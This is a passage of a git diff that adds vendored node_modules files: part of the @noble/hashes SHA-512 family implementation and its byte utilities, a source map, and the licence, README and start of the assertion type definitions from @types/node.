i++) { + // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41) + const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41); + const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41); + //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const CHIh = (Eh & Fh) ^ (~Eh & Gh); + const CHIl = (El & Fl) ^ (~El & Gl); + // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i] + // prettier-ignore + const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = u64.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39) + const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39); + const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39); + const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch); + const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl); + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = u64.add3L(T1l, sigma0l, MAJl); + Ah = u64.add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + // Add the compressed chunk to the current hash value + ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + protected roundClean() { + SHA512_W_H.fill(0); + SHA512_W_L.fill(0); + } + destroy() { + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} + +class SHA512_224 extends SHA512 { + // h -- high 32 bits, l -- low 32 bits + Ah = 0x8c3d37c8 | 0; + Al = 0x19544da2 | 0; + Bh = 0x73e19966 | 0; + Bl = 0x89dcd4d6 | 0; + Ch = 0x1dfab7ae | 0; + Cl = 0x32ff9c82 | 0; + Dh = 0x679dd514 | 0; + Dl = 0x582f9fcf | 0; + Eh = 0x0f6d2b69 | 0; + El = 0x7bd44da8 | 0; + Fh = 0x77e36f73 | 0; + Fl = 0x04c48942 | 0; + Gh = 0x3f9d85a8 | 0; + Gl = 0x6a1d36c8 | 0; + Hh = 0x1112e6ad | 0; + Hl = 0x91d692a1 | 0; + + constructor() { + super(); + this.outputLen = 28; + } +} + +class SHA512_256 extends SHA512 { + // h -- high 32 bits, l -- low 32 bits + Ah = 0x22312194 | 0; + Al = 0xfc2bf72c | 0; + Bh = 0x9f555fa3 | 0; + Bl = 0xc84c64c2 | 0; + Ch = 0x2393b86b | 0; + Cl = 0x6f53b151 | 0; + Dh = 0x96387719 | 0; + Dl = 0x5940eabd | 0; + Eh = 0x96283ee2 | 0; + El = 0xa88effe3 | 0; + Fh = 0xbe5e1e25 | 0; + Fl = 0x53863992 | 0; + Gh = 0x2b0199fc | 0; + Gl = 0x2c85b8aa | 0; + Hh = 0x0eb72ddc | 0; + Hl = 0x81c52ca2 | 0; + + constructor() { + super(); + this.outputLen = 32; + } +} + +class SHA384 extends SHA512 { + // h -- high 32 bits, l -- low 32 bits + Ah = 0xcbbb9d5d | 0; + Al = 0xc1059ed8 | 0; + Bh = 0x629a292a | 0; + Bl = 0x367cd507 | 0; + Ch = 0x9159015a | 0; + Cl = 0x3070dd17 | 0; + Dh = 0x152fecd8 | 0; + Dl = 0xf70e5939 | 0; + Eh = 0x67332667 | 0; + El = 0xffc00b31 | 0; + Fh = 0x8eb44a87 | 0; + Fl = 0x68581511 | 0; + Gh = 0xdb0c2e0d | 0; + Gl = 0x64f98fa7 | 0; + Hh = 0x47b5481d | 0; + Hl = 0xbefa4fa4 | 0; + + constructor() { + super(); + this.outputLen = 48; + } +} + +export const sha512 = /* @__PURE__ */ wrapConstructor(() => new SHA512()); +export const sha512_224 = /* @__PURE__ */ wrapConstructor(() => new SHA512_224()); +export const sha512_256 = /* @__PURE__ */ wrapConstructor(() => new SHA512_256()); +export const sha384 = /* @__PURE__ */ wrapConstructor(() => new SHA384()); diff --git a/node_modules/@noble/hashes/src/utils.ts b/node_modules/@noble/hashes/src/utils.ts new file mode 100644 index 000000000000..81e52560c0d2 --- /dev/null +++ b/node_modules/@noble/hashes/src/utils.ts @@ -0,0 +1,215 @@ +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// node.js versions earlier than v19 don't declare it in global scope. +// For node.js, package.json#exports field mapping rewrites import +// from `crypto` to `cryptoNode`, which imports native module. +// Makes the utils un-importable in browsers without a bundler. +// Once node.js 18 is deprecated, we can just drop the import. +import { crypto } from '@noble/hashes/crypto'; + +// prettier-ignore +export type TypedArray = Int8Array | Uint8ClampedArray | Uint8Array | + Uint16Array | Int16Array | Uint32Array | Int32Array; + +const u8a = (a: any): a is Uint8Array => a instanceof Uint8Array; +// Cast array to different type +export const u8 = (arr: TypedArray) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength); +export const u32 = (arr: TypedArray) => + new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); + +// Cast array to view +export const createView = (arr: TypedArray) => + new DataView(arr.buffer, arr.byteOffset, arr.byteLength); + +// The rotate right (circular right shift) operation for uint32 +export const rotr = (word: number, shift: number) => (word << (32 - shift)) | (word >>> shift); + +// big-endian hardware is rare. Just in case someone still decides to run hashes: +// early-throw an error because we don't support BE yet. +export const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; +if (!isLE) throw new Error('Non little-endian hardware is not supported'); + +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => + i.toString(16).padStart(2, '0') +); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export function bytesToHex(bytes: Uint8Array): string { + if (!u8a(bytes)) throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} + +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export function hexToBytes(hex: string): Uint8Array { + if (typeof hex !== 'string') throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} + +// There is no setImmediate in browser and setTimeout is slow. +// call of async fn will return Promise, which will be fullfiled only on +// next scheduler queue processing step and this is exactly what we need. +export const nextTick = async () => {}; + +// Returns control to thread each 'tick' ms to avoid blocking +export async function asyncLoop(iters: number, tick: number, cb: (i: number) => void) { + let ts = Date.now(); + for (let i = 0; i < iters; i++) { + cb(i); + // Date.now() is not monotonic, so in case if clock goes backwards we return return control too + const diff = Date.now() - ts; + if (diff >= 0 && diff < tick) continue; + await nextTick(); + ts += diff; + } +} + +// Global symbols in both browsers and Node.js since v11 +// See https://github.com/microsoft/TypeScript/issues/31535 +declare const TextEncoder: any; + +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export function utf8ToBytes(str: string): Uint8Array { + if (typeof str !== 'string') throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} + +export type Input = Uint8Array | string; +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +export function toBytes(data: Input): Uint8Array { + if (typeof data === 'string') data = utf8ToBytes(data); + if (!u8a(data)) throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; +} + +/** + * Copies several Uint8Arrays into one. + */ +export function concatBytes(...arrays: Uint8Array[]): Uint8Array { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} + +// For runtime check if class implements interface +export abstract class Hash> { + abstract blockLen: number; // Bytes per block + abstract outputLen: number; // Bytes in output + abstract update(buf: Input): this; + // Writes digest into buf + abstract digestInto(buf: Uint8Array): void; + abstract digest(): Uint8Array; + /** + * Resets internal state. Makes Hash instance unusable. + * Reset is impossible for keyed hashes if key is consumed into state. If digest is not consumed + * by user, they will need to manually call `destroy()` when zeroing is necessary. + */ + abstract destroy(): void; + /** + * Clones hash instance. Unsafe: doesn't check whether `to` is valid. Can be used as `clone()` + * when no options are passed. + * Reasons to use `_cloneInto` instead of clone: 1) performance 2) reuse instance => all internal + * buffers are overwritten => causes buffer overwrite which is used for digest in some cases. + * There are no guarantees for clean-up because it's impossible in JS. + */ + abstract _cloneInto(to?: T): T; + // Safe version that clones internal state + clone(): T { + return this._cloneInto(); + } +} + +/** + * XOF: streaming API to read digest in chunks. + * Same as 'squeeze' in keccak/k12 and 'seek' in blake3, but more generic name. + * When hash used in XOF mode it is up to user to call '.destroy' afterwards, since we cannot + * destroy state, next call can require more bytes. + */ +export type HashXOF> = Hash & { + xof(bytes: number): Uint8Array; // Read 'bytes' bytes from digest stream + xofInto(buf: Uint8Array): Uint8Array; // read buf.length bytes from digest stream into buf +}; + +const toStr = {}.toString; +type EmptyObj = {}; +export function checkOpts( + defaults: T1, + opts?: T2 +): T1 & T2 { + if (opts !== undefined && toStr.call(opts) !== '[object Object]') + throw new Error('Options should be object or undefined'); + const merged = Object.assign(defaults, opts); + return merged as T1 & T2; +} + +export type CHash = ReturnType; + +export function wrapConstructor>(hashCons: () => Hash) { + const hashC = (msg: Input): Uint8Array => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} + +export function wrapConstructorWithOpts, T extends Object>( + hashCons: (opts?: T) => Hash +) { + const hashC = (msg: Input, opts?: T): Uint8Array => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({} as T); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts: T) => hashCons(opts); + return hashC; +} + +export function wrapXOFConstructorWithOpts, T extends Object>( + hashCons: (opts?: T) => HashXOF +) { + const hashC = (msg: Input, opts?: T): Uint8Array => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({} as T); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts: T) => hashCons(opts); + return hashC; +} + +/** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ +export function randomBytes(bytesLength = 32): Uint8Array { + if (crypto && typeof crypto.getRandomValues === 'function') { + return crypto.getRandomValues(new Uint8Array(bytesLength)); + } + throw new Error('crypto.getRandomValues must be defined'); +} diff --git a/node_modules/@noble/hashes/utils.d.ts b/node_modules/@noble/hashes/utils.d.ts new file mode 100644 index 000000000000..a0017e4b6028 --- /dev/null +++ b/node_modules/@noble/hashes/utils.d.ts @@ -0,0 +1,90 @@ +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +export type TypedArray = Int8Array | Uint8ClampedArray | Uint8Array | Uint16Array | Int16Array | Uint32Array | Int32Array; +export declare const u8: (arr: TypedArray) => Uint8Array; +export declare const u32: (arr: TypedArray) => Uint32Array; +export declare const createView: (arr: TypedArray) => DataView; +export declare const rotr: (word: number, shift: number) => number; +export declare const isLE: boolean; +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export declare function bytesToHex(bytes: Uint8Array): string; +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export declare function hexToBytes(hex: string): Uint8Array; +export declare const nextTick: () => Promise; +export declare function asyncLoop(iters: number, tick: number, cb: (i: number) => void): Promise; +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export declare function utf8ToBytes(str: string): Uint8Array; +export type Input = Uint8Array | string; +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +export declare function toBytes(data: Input): Uint8Array; +/** + * Copies several Uint8Arrays into one. + */ +export declare function concatBytes(...arrays: Uint8Array[]): Uint8Array; +export declare abstract class Hash> { + abstract blockLen: number; + abstract outputLen: number; + abstract update(buf: Input): this; + abstract digestInto(buf: Uint8Array): void; + abstract digest(): Uint8Array; + /** + * Resets internal state. Makes Hash instance unusable. + * Reset is impossible for keyed hashes if key is consumed into state. If digest is not consumed + * by user, they will need to manually call `destroy()` when zeroing is necessary. + */ + abstract destroy(): void; + /** + * Clones hash instance. Unsafe: doesn't check whether `to` is valid. Can be used as `clone()` + * when no options are passed. + * Reasons to use `_cloneInto` instead of clone: 1) performance 2) reuse instance => all internal + * buffers are overwritten => causes buffer overwrite which is used for digest in some cases. + * There are no guarantees for clean-up because it's impossible in JS. + */ + abstract _cloneInto(to?: T): T; + clone(): T; +} +/** + * XOF: streaming API to read digest in chunks. + * Same as 'squeeze' in keccak/k12 and 'seek' in blake3, but more generic name. + * When hash used in XOF mode it is up to user to call '.destroy' afterwards, since we cannot + * destroy state, next call can require more bytes. + */ +export type HashXOF> = Hash & { + xof(bytes: number): Uint8Array; + xofInto(buf: Uint8Array): Uint8Array; +}; +type EmptyObj = {}; +export declare function checkOpts(defaults: T1, opts?: T2): T1 & T2; +export type CHash = ReturnType; +export declare function wrapConstructor>(hashCons: () => Hash): { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare function wrapConstructorWithOpts, T extends Object>(hashCons: (opts?: T) => Hash): { + (msg: Input, opts?: T): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: T): Hash; +}; +export declare function wrapXOFConstructorWithOpts, T extends Object>(hashCons: (opts?: T) => HashXOF): { + (msg: Input, opts?: T): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: T): HashXOF; +}; +/** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ +export declare function randomBytes(bytesLength?: number): Uint8Array; +export {}; diff --git a/node_modules/@noble/hashes/utils.js b/node_modules/@noble/hashes/utils.js new file mode 100644 index 000000000000..2ffcbbeee0d7 --- /dev/null +++ b/node_modules/@noble/hashes/utils.js @@ -0,0 +1,174 @@ +"use strict"; +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.randomBytes = exports.wrapXOFConstructorWithOpts = exports.wrapConstructorWithOpts = exports.wrapConstructor = exports.checkOpts = exports.Hash = exports.concatBytes = exports.toBytes = exports.utf8ToBytes = exports.asyncLoop = exports.nextTick = exports.hexToBytes = exports.bytesToHex = exports.isLE = exports.rotr = exports.createView = exports.u32 = exports.u8 = void 0; +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// node.js versions earlier than v19 don't declare it in global scope. +// For node.js, package.json#exports field mapping rewrites import +// from `crypto` to `cryptoNode`, which imports native module. +// Makes the utils un-importable in browsers without a bundler. +// Once node.js 18 is deprecated, we can just drop the import. +const crypto_1 = require("@noble/hashes/crypto"); +const u8a = (a) => a instanceof Uint8Array; +// Cast array to different type +const u8 = (arr) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength); +exports.u8 = u8; +const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); +exports.u32 = u32; +// Cast array to view +const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength); +exports.createView = createView; +// The rotate right (circular right shift) operation for uint32 +const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift); +exports.rotr = rotr; +// big-endian hardware is rare. Just in case someone still decides to run hashes: +// early-throw an error because we don't support BE yet. +exports.isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; +if (!exports.isLE) + throw new Error('Non little-endian hardware is not supported'); +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +exports.bytesToHex = bytesToHex; +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} +exports.hexToBytes = hexToBytes; +// There is no setImmediate in browser and setTimeout is slow. +// call of async fn will return Promise, which will be fullfiled only on +// next scheduler queue processing step and this is exactly what we need. +const nextTick = async () => { }; +exports.nextTick = nextTick; +// Returns control to thread each 'tick' ms to avoid blocking +async function asyncLoop(iters, tick, cb) { + let ts = Date.now(); + for (let i = 0; i < iters; i++) { + cb(i); + // Date.now() is not monotonic, so in case if clock goes backwards we return return control too + const diff = Date.now() - ts; + if (diff >= 0 && diff < tick) + continue; + await (0, exports.nextTick)(); + ts += diff; + } +} +exports.asyncLoop = asyncLoop; +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +exports.utf8ToBytes = utf8ToBytes; +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +function toBytes(data) { + if (typeof data === 'string') + data = utf8ToBytes(data); + if (!u8a(data)) + throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; +} +exports.toBytes = toBytes; +/** + * Copies several Uint8Arrays into one. + */ +function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +exports.concatBytes = concatBytes; +// For runtime check if class implements interface +class Hash { + // Safe version that clones internal state + clone() { + return this._cloneInto(); + } +} +exports.Hash = Hash; +const toStr = {}.toString; +function checkOpts(defaults, opts) { + if (opts !== undefined && toStr.call(opts) !== '[object Object]') + throw new Error('Options should be object or undefined'); + const merged = Object.assign(defaults, opts); + return merged; +} +exports.checkOpts = checkOpts; +function wrapConstructor(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} +exports.wrapConstructor = wrapConstructor; +function wrapConstructorWithOpts(hashCons) { + const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({}); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts) => hashCons(opts); + return hashC; +} +exports.wrapConstructorWithOpts = wrapConstructorWithOpts; +function wrapXOFConstructorWithOpts(hashCons) { + const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({}); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts) => hashCons(opts); + return hashC; +} +exports.wrapXOFConstructorWithOpts = wrapXOFConstructorWithOpts; +/** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ +function randomBytes(bytesLength = 32) { + if (crypto_1.crypto && typeof crypto_1.crypto.getRandomValues === 'function') { + return crypto_1.crypto.getRandomValues(new Uint8Array(bytesLength)); + } + throw new Error('crypto.getRandomValues must be defined'); +} +exports.randomBytes = randomBytes; +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/utils.js.map b/node_modules/@noble/hashes/utils.js.map new file mode 100644 index 000000000000..4fc2171d96ea --- /dev/null +++ b/node_modules/@noble/hashes/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["src/utils.ts"],"names":[],"mappings":";AAAA,sEAAsE;;;AAEtE,oFAAoF;AACpF,sEAAsE;AACtE,kEAAkE;AAClE,8DAA8D;AAC9D,+DAA+D;AAC/D,8DAA8D;AAC9D,iDAA8C;AAM9C,MAAM,GAAG,GAAG,CAAC,CAAM,EAAmB,EAAE,CAAC,CAAC,YAAY,UAAU,CAAC;AACjE,+BAA+B;AACxB,MAAM,EAAE,GAAG,CAAC,GAAe,EAAE,EAAE,CAAC,IAAI,UAAU,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC,UAAU,EAAE,GAAG,CAAC,UAAU,CAAC,CAAC;AAArF,QAAA,EAAE,MAAmF;AAC3F,MAAM,GAAG,GAAG,CAAC,GAAe,EAAE,EAAE,CACrC,IAAI,WAAW,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC,UAAU,EAAE,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,UAAU,GAAG,CAAC,CAAC,CAAC,CAAC;AADjE,QAAA,GAAG,OAC8D;AAE9E,qBAAqB;AACd,MAAM,UAAU,GAAG,CAAC,GAAe,EAAE,EAAE,CAC5C,IAAI,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC,UAAU,EAAE,GAAG,CAAC,UAAU,CAAC,CAAC;AAD9C,QAAA,UAAU,cACoC;AAE3D,+DAA+D;AACxD,MAAM,IAAI,GAAG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AC;IAC9B,KAAK,CAAC,SAAS,GAAG,GAAG,CAAC,SAAS,CAAC;IAChC,KAAK,CAAC,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;IAC9B,KAAK,CAAC,MAAM,GAAG,CAAC,IAAO,EAAE,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IAC3C,OAAO,KAAK,CAAC;AACf,CAAC;AATD,0DASC;AAED,SAAgB,0BAA0B,CACxC,QAAkC;IAElC,MAAM,KAAK,GAAG,CAAC,GAAU,EAAE,IAAQ,EAAc,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,EAAE,CAAC;IACjG,MAAM,GAAG,GAAG,QAAQ,CAAC,EAAO,CAAC,CAAC;IAC9B,KAAK,CAAC,SAAS,GAAG,GAAG,CAAC,SAAS,CAAC;IAChC,KAAK,CAAC,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;IAC9B,KAAK,CAAC,MAAM,GAAG,CAAC,IAAO,EAAE,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IAC3C,OAAO,KAAK,CAAC;AACf,CAAC;AATD,gEASC;AAED;;GAEG;AACH,SAAgB,WAAW,CAAC,WAAW,GAAG,EAAE;IAC1C,IAAI,eAAM,IAAI,OAAO,eAAM,CAAC,eAAe,KAAK,UAAU,EAAE;QAC1D,OAAO,eAAM,CAAC,eAAe,CAAC,IAAI,UAAU,CAAC,WAAW,CAAC,CAAC,CAAC;KAC5D;IACD,MAAM,IAAI,KAAK,CAAC,wCAAwC,CAAC,CAAC;AAC5D,CAAC;AALD,kCAKC"} \ No newline at end of file diff --git a/node_modules/@types/node/LICENSE b/node_modules/@types/node/LICENSE new file mode 100644 index 000000000000..9e841e7a26e4 --- /dev/null +++ b/node_modules/@types/node/LICENSE @@ -0,0 +1,21 @@ + MIT License + + Copyright (c) Microsoft Corporation. + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE diff --git a/node_modules/@types/node/README.md b/node_modules/@types/node/README.md new file mode 100644 index 000000000000..4ec27f1d3ff0 --- /dev/null +++ b/node_modules/@types/node/README.md @@ -0,0 +1,15 @@ +# Installation +> `npm install --save @types/node` + +# Summary +This package contains type definitions for node (https://nodejs.org/). + +# Details +Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node. + +### Additional Details + * Last updated: Mon, 07 Oct 2024 22:07:58 GMT + * Dependencies: [undici-types](https://npmjs.com/package/undici-types) + +# Credits +These definitions were written by [Microsoft TypeScript](https://github.com/Microsoft), [Alberto Schiabel](https://github.com/jkomyno), [Alvis HT Tang](https://github.com/alvis), [Andrew Makarov](https://github.com/r3nya), [Benjamin Toueg](https://github.com/btoueg), [Chigozirim C.](https://github.com/smac89), [David Junger](https://github.com/touffy), [Deividas Bakanas](https://github.com/DeividasBakanas), [Eugene Y. Q. Shen](https://github.com/eyqs), [Hannes Magnusson](https://github.com/Hannes-Magnusson-CK), [Huw](https://github.com/hoo29), [Kelvin Jin](https://github.com/kjin), [Klaus Meinhardt](https://github.com/ajafff), [Lishude](https://github.com/islishude), [Mariusz Wiktorczyk](https://github.com/mwiktorczyk), [Mohsen Azimi](https://github.com/mohsen1), [Nikita Galkin](https://github.com/galkin), [Parambir Singh](https://github.com/parambirs), [Sebastian Silbermann](https://github.com/eps1lon), [Thomas den Hollander](https://github.com/ThomasdenH), [Wilco Bakker](https://github.com/WilcoBakker), [wwwy3y3](https://github.com/wwwy3y3), [Samuel Ainsworth](https://github.com/samuela), [Kyle Uehlein](https://github.com/kuehlein), [Thanik Bhongbhibhat](https://github.com/bhongy), [Marcin Kopacz](https://github.com/chyzwar), [Trivikram Kamat](https://github.com/trivikr), [Junxiao Shi](https://github.com/yoursunny), [Ilia Baryshnikov](https://github.com/qwelias), [ExE Boss](https://github.com/ExE-Boss), [Piotr Błażejewicz](https://github.com/peterblazejewicz), [Anna Henningsen](https://github.com/addaleax), [Victor Perin](https://github.com/victorperin), [Yongsheng Zhang](https://github.com/ZYSzys), [NodeJS Contributors](https://github.com/NodeJS), [Linus Unnebäck](https://github.com/LinusU), [wafuwafu13](https://github.com/wafuwafu13), [Matteo Collina](https://github.com/mcollina), and [Dmitry Semigradsky](https://github.com/Semigradsky). diff --git a/node_modules/@types/node/assert.d.ts b/node_modules/@types/node/assert.d.ts new file mode 100644 index 000000000000..35917ca69324 --- /dev/null +++ b/node_modules/@types/node/assert.d.ts @@ -0,0 +1,1040 @@ +/** + * The `node:assert` module provides a set of assertion functions for verifying + * invariants. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/assert.js) + */ +declare module "assert" { + /** + * An alias of {@link ok}. + * @since v0.5.9 + * @param value The input that is checked for being truthy. + */ + function assert(value: unknown, message?: 